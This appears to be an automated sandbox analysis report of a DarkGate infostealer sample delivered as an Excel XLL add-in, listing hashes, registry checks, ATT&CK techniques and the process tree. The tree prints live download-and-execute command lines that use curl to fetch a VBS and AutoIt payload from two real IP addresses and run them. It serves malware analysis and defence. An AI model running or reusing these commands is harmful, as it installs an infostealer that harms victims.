darkgate | 98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

Analysis

max time kernel
139s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
24-09-2023 13:10

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General

Target

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll
Size

50KB
MD5

8866d0e530cb613fde59c5476ea6c331
SHA1

e77beeb201303b739a9c4536514e48adc2118900
SHA256

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA512

73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
SSDEEP

1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY

Score

10^/10

darkgate stealer

Malware Config

Extracted

Family

darkgate

http://94.228.169.143

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate
Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

36 4940 WScript.exe
Downloads MZ/PE file

flow	pid	process
36	4940	WScript.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

me.execmd.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 4 IoCs

Processes:

me.exebpzs.exebpzs.exeAutoit3.exe

pid process

1416 me.exe
3740 bpzs.exe
2368 bpzs.exe
444 Autoit3.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

3200 EXCEL.EXE
3200 EXCEL.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1416	me.exe
3740	bpzs.exe
2368	bpzs.exe
444	Autoit3.exe

pid	process
3200	EXCEL.EXE
3200	EXCEL.EXE

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEAutoit3.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3600 timeout.exe

pid	process
3600	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings cmd.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 36 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3200 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

3200 EXCEL.EXE
3200 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE
3200 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings	cmd.exe

description	flow	ioc
HTTP User-Agent header	36	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
3200	EXCEL.EXE

pid	process
3200	EXCEL.EXE
3200	EXCEL.EXE

pid	process
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE
3200	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

EXCEL.EXEme.execmd.exeWScript.execmd.exe

description	pid	process	target process
PID 3200 wrote to memory of 1416	3200	EXCEL.EXE	me.exe
PID 3200 wrote to memory of 1416	3200	EXCEL.EXE	me.exe
PID 1416 wrote to memory of 4832	1416	me.exe	cmd.exe
PID 1416 wrote to memory of 4832	1416	me.exe	cmd.exe
PID 4832 wrote to memory of 3856	4832	cmd.exe	curl.exe
PID 4832 wrote to memory of 3856	4832	cmd.exe	curl.exe
PID 4832 wrote to memory of 3600	4832	cmd.exe	timeout.exe
PID 4832 wrote to memory of 3600	4832	cmd.exe	timeout.exe
PID 4832 wrote to memory of 4940	4832	cmd.exe	WScript.exe
PID 4832 wrote to memory of 4940	4832	cmd.exe	WScript.exe
PID 4940 wrote to memory of 5052	4940	WScript.exe	cmd.exe
PID 4940 wrote to memory of 5052	4940	WScript.exe	cmd.exe
PID 5052 wrote to memory of 3740	5052	cmd.exe	bpzs.exe
PID 5052 wrote to memory of 3740	5052	cmd.exe	bpzs.exe
PID 5052 wrote to memory of 2368	5052	cmd.exe	bpzs.exe
PID 5052 wrote to memory of 2368	5052	cmd.exe	bpzs.exe
PID 5052 wrote to memory of 444	5052	cmd.exe	Autoit3.exe
PID 5052 wrote to memory of 444	5052	cmd.exe	Autoit3.exe
PID 5052 wrote to memory of 444	5052	cmd.exe	Autoit3.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3200

C:\Users\Public\me.exe
C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs
3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4832

C:\Windows\system32\curl.exe
C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123
4⤵
PID:3856

C:\Windows\system32\timeout.exe
timeout 10
4⤵
- Delays execution with timeout.exe
PID:3600

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mkdir c:\bpzs & cd /d c:\bpzs & copy c:\windows\system32\curl.exe bpzs.exe & bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & bpzs -o tdnyvk.au3 http://94.228.169.143:2351/msibpzszuqi & Autoit3.exe tdnyvk.au3
5⤵
- Suspicious use of WriteProcessMemory
PID:5052

\??\c:\bpzs\bpzs.exe
bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
6⤵
- Executes dropped EXE
PID:3740

\??\c:\bpzs\bpzs.exe
bpzs -o tdnyvk.au3 http://94.228.169.143:2351/msibpzszuqi
6⤵
- Executes dropped EXE
PID:2368

\??\c:\bpzs\Autoit3.exe
Autoit3.exe tdnyvk.au3
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

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C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\bpzs\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\users\public\1.vbs

Filesize
8KB

MD5
9162957093b8e62d9a169adc405bd5c4

SHA1
00cde0c63bac374afafbe8d4e5aa460ef56f0154

SHA256
cb7472abfcb56838a92ad58818f31998d7ae68ef2a2ae1bbc15732d7cc777b38

SHA512
2e46f6a3389c8b97ce593b62f005c8830ca119027e996e3fc03e9abbe086df3e15cf618b6b33bb3105498ff130eda7056994e2146b997db1464e6b98a3f307fb

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\??\c:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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\??\c:\bpzs\tdnyvk.au3

Filesize
908KB

MD5
0ea7d1a7ad1b24835ca0b2fc6c51c15a

SHA1
c470650db0b249737b5cf84854292ba0b7ec68f7

SHA256
f9e6958800b576b94c26fd16691ca8e1ca7bda7a0abf0a8657d7cb0eb9a696de

SHA512
1f3d5738e84a955a053db7ac2c78e4a08154c0022f7d5e130bdce5c41cef25692d2e15a0fe80e641e4ded1308ede5673d1fb7635f5fc7bebe887a239201d4a7b

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memory/444-58-0x00000000040B0000-0x0000000004473000-memory.dmp

Filesize
3.8MB

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memory/444-57-0x00000000037C0000-0x00000000038B5000-memory.dmp

Filesize
980KB

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memory/444-56-0x00000000040B0000-0x0000000004473000-memory.dmp

Filesize
3.8MB

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memory/444-54-0x0000000000850000-0x0000000000C50000-memory.dmp

Filesize
4.0MB

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memory/444-55-0x00000000037C0000-0x00000000038B5000-memory.dmp

Filesize
980KB

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memory/3200-15-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-14-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-17-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-18-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-32-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-20-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-21-0x00007FFC0A7D0000-0x00007FFC0A7E0000-memory.dmp

Filesize
64KB

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memory/3200-6-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-5-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-75-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-2-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-19-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-33-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-37-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-4-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-16-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-13-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-12-0x00007FFC0A7D0000-0x00007FFC0A7E0000-memory.dmp

Filesize
64KB

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memory/3200-0-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-11-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-10-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-9-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-8-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-1-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-7-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-70-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-71-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-72-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-73-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-74-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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memory/3200-3-0x00007FFC0C830000-0x00007FFC0C840000-memory.dmp

Filesize
64KB

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memory/3200-76-0x00007FFC4C7B0000-0x00007FFC4C9A5000-memory.dmp

Filesize
2.0MB

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